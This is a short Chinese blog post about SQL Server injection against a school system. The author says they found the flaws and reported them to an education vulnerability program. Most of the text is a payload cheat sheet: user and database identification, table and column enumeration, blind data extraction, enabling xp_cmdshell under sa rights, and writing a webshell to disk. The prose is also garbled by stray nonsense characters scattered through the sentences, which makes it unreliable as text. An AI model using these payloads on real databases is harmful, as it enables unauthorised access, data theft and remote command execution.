0x01前言
學(xué)校開了xx系統(tǒng),大半夜改文檔格式頭大拓春,登上去看下凌节,有越權(quán)有注入胁住,不是sa權(quán)限,sql server2008的xp_cmdshell默認關(guān)閉刊咳,傳不了shell(我太菜了)彪见,遍歷幾個數(shù)據(jù)庫名交到教育src,睡覺娱挨。
0x02正文
select SUSER_SNAME()//當(dāng)前用戶
select SUSER_SID()///當(dāng)前用戶id
select db_name()//當(dāng)前數(shù)據(jù)庫
select name from master.dbo.sysdatabases where dbid=1//列數(shù)據(jù)庫
having 1=1//列表和列
group by test.id,test.name having 1=1//遍歷列表和列
ascii(substring((select top 1 列名 from 表名),n,1)) >= 60//獲取數(shù)據(jù)
執(zhí)行命令
xp_cmdshell默認在mssql2000中是開啟的余指,在mssql2005之后的版本中則默認禁止。需要開啟跷坝。
xp_cmdshell提權(quán)條件:
數(shù)據(jù)庫用戶是sa酵镜。
能夠創(chuàng)建xp_cmdshell,有的情況下雖然是sa賬號柴钻,但無法使用xp_cmdshell淮韭。
知道絕對路徑。
sa權(quán)限開啟xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
寫shell或者執(zhí)行其他命令
exec master..xp_cmdshell 'echo payload > 絕對路徑';-- (尖括號前需要加^)